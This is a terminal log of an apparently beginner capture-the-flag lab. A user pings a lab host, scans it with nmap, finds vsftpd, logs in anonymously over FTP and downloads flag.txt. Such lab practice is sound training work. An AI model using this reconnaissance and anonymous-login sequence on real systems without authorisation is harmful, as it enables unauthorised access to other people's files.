ubuntu@ip:~$ ping 10.129.24.17 PING 10.129.24.17 (10.129.24.17) 56(84) bytes of data. 64 bytes from 10.129.24.17: icmp_seq=1 ttl=63 time=75.7 ms 64 bytes from 10.129.24.17: icmp_seq=2 ttl=63 time=75.7 ms 64 bytes from 10.129.24.17: icmp_seq=3 ttl=63 time=75.6 ms 64 bytes from 10.129.24.17: icmp_seq=4 ttl=63 time=75.7 ms ^C --- 10.129.24.17 ping statistics --- 16 packets transmitted, 16 received, 0% packet loss, time 15025ms rtt min/avg/max/mdev = 75.492/75.685/75.995/0.129 ms ubuntu@ip-172-31-17-119:~$ sudo nmap 10.129.24.17 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-01 06:16 UTC Couldn`t open a raw socket. Error: Permission denied (13)
ubuntu@ip:~$ nmap 10.129.24.17 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-01 06:17 UTC Nmap scan report for ip-10-129-24-17.us-west-1.compute.internal (10.129.24.17) Host is up (0.076s latency). Not shown: 999 closed tcp ports (conn-refused) PORT STATE SERVICE 21/tcp open ftp
Nmap done: 1 IP address (1 host up) scanned in 1.32 seconds
ubuntu@ip:~$ nmap -sV 10.129.24.17 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-01 06:24 UTC Nmap scan report for ip-10-129-24-17.us-west-1.compute.internal (10.129.24.17) Host is up (0.075s latency). Not shown: 999 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1.87 seconds
ubuntu@ip:~$ apt install ftp -y E: Could not open lock file /var/lib/dpkg/lock-frontend - open (13: Permission denied) E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), are you root? ubuntu@ip-172-31-17-119:~$ ftp --h ftp: invalid option -- '-' usage: ftp [-46AadefginpRtVv] [-N NETRC] [-o OUTPUT] [-P PORT] [-q QUITTIME] [-r RETRY] [-s SRCADDR] [-T DIR,MAX[,INC]] [-x XFERSIZE] [[USER@]HOST [PORT]] [[USER@]HOST:[PATH][/]] [file:///PATH] [ftp://[USER[:PASSWORD]@]HOST[:PORT]/PATH[/][;type=TYPE]] [http://[USER[:PASSWORD]@]HOST[:PORT]/PATH] [https://[USER[:PASSWORD]@]HOST[:PORT]/PATH] ... ftp -u URL FILE ... ftp -?
ubuntu@ip:~$ ftp 10.129.24.17 Connected to 10.129.24.17. 220 (vsFTPd 3.0.3) Name (10.129.24.17:ubuntu): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
ftp> help Commands may be abbreviated. Commands are:
! edit lpage nlist rcvbuf struct $ epsv lpwd nmap recv sunique account epsv4 ls ntrans reget system append epsv6 macdef open remopts tenex ascii exit mdelete page rename throttle bell features mdir passive reset trace binary fget mget pdir restart type bye form mkdir pls rhelp umask case ftp mls pmlsd rmdirunset cd gate mlsd preserve rstatus usage cdup get mlst progress runique user chmod glob mode prompt send verbose close hash modtime proxy sendport xferbuf cr help more put set ? debug idle mput pwd site delete image mreget quit size dir lcd msend quote sndbuf disconnect less newer rate status
ftp> ls 229 Entering Extended Passive Mode (|||62732|) 150 Here comes the directory listing. -rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt 226 Directory send OK.
ftp> get flag.txt local: flag.txt remote: flag.txt 229 Entering Extended Passive Mode (|||56926|) 150 Opening BINARY mode data connection for flag.txt (32 bytes). 100% |***************************************************************| 32 119.73 KiB/s 00:00 ETA 226 Transfer complete. 32 bytes received in 00:00 (0.41 KiB/s)
ftp> bye 421 Timeout.
ubuntu@ip-172-31-17-119:~$ ls flag.txt lab_KILLMEN.ovpn lab_KILLMEN1.ovpn snap starting_point_KILLMEN.ovpn